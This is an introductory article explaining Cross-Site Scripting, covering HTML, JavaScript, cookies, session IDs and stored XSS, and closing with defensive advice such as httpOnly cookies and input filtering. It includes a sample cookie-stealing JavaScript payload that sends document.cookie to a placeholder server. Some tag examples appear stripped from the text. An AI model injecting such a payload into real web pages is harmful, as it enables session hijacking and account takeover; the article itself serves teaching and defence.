Davide Cavallini : 17 November 2025 21:58
Author : Davide Cavallini
Today I will try to use the same dialectic ( as previously done in the article on SQL injection ), and explain in a simple way what Cross Site Scripting is.
Cross-Site Scripting, also called XSS, is a type of attack that isn’t directed at the server, like SQL injections, but at the client. It’s a JavaScript-based attack that runs in the user’s browser ( Chrome, Firefox, Internet Explorer, etc. ) when a website is visited.
This may seem like an unhelpful type of attack, as the browser has various protections that protect the reading of local files and prevent various unsafe actions.
However, this is completely wrong. In fact , Cross-Site Scripting can become a truly dangerous attack, and by that I mean it can be just as dangerous as direct attacks on servers.
A typical example of XSS involves the theft of the session ID found inside the cookie.
Okay, you might ask, but how does it work? I’ll try to explain it simply, starting with the basic structure of an HTML page.
An HTML page is nothing more than an emulation of a real paper page—once rendered—such as that of a book. Therefore, it will contain some structural elements of the pages, such as:
Obviously, to be able to format all this appropriately, there is a code, which is not displayed by the browser but is “interpreted” to display the page clearly and intuitively.
This code allows those who create the HTML page to use a series of “tags”, or abbreviations, which are used to insert these structural elements within the page.
For example:
content
Once the “Jurassic” period of the web was over, when HTML pages were static (web 1.0), we subsequently moved on to using additional code to make them dynamic.
A very important part of an HTML page, which gives it its so-called “dynamism” is JavaScript, which is contained in the tag.
These scripts, which run within the user’s browser, are actual “programs” that give various instructions to the page. They can animate the page itself, send statistical data to their own or external servers via HTTP calls, geolocate the user, and perform a host of other functions, from cookie management to the creation of entire video games.
A classic example of JavaScript code is the following:
alert("this is a notice that appears on the page");
Cookies, on the other hand, are simple text files stored in the browser that are used to maintain the persistence of certain user information.
The HTML page can have features that a spreadsheet page cannot have, such as a box to write a comment below a post, like classic forums.
So after you write a comment in this box and click “submit,” the content you wrote will be processed by the server and become the content of the page itself.
This is where, if the code is not developed properly, the most lethal “Stored XSS” take shape, that is, malicious JavaScript that remains saved within the page.
A typical example of an XSS script is the one I mentioned before that steals session IDs.
The session ID is nothing more than a random string of many characters that is uniquely associated with each user who logs in to the customer area, and serves to remind the server that the user is always him or her whenever they change pages.
The session ID is stored inside the cookie in a format similar to this:
PHPSESSID=836383abt6393736hdv38ndhSince JavaScript can manipulate cookies, these malicious XSS scripts can fetch the session ID and send it via an HTTP call to the attacker’s server.
So when the forum administrator logs into his admin area and accesses the page where another user has posted a Stored XSS, he will unwittingly pass the session ID to the hacker, who will set it in his cookie and become the administrator himself (as if he stole the ID).
Summary of the previous attack:
So you should never underestimate this type of attack.
Now let’s take another example and pretend we have a text area for commenting on a post where we will insert the following code:
fetch('http://localhost/getcookie.php?c='+document.cookie.toString())
The best way to protect yourself is to use secure authentication methods (e.g., Liveuser in PHP), set attributes in the cookie such as httpOnly, which makes it inaccessible from JavaScript, and, above all, filter the input data with features found in many special libraries created specifically to limit this type of hack.
Davide Cavallini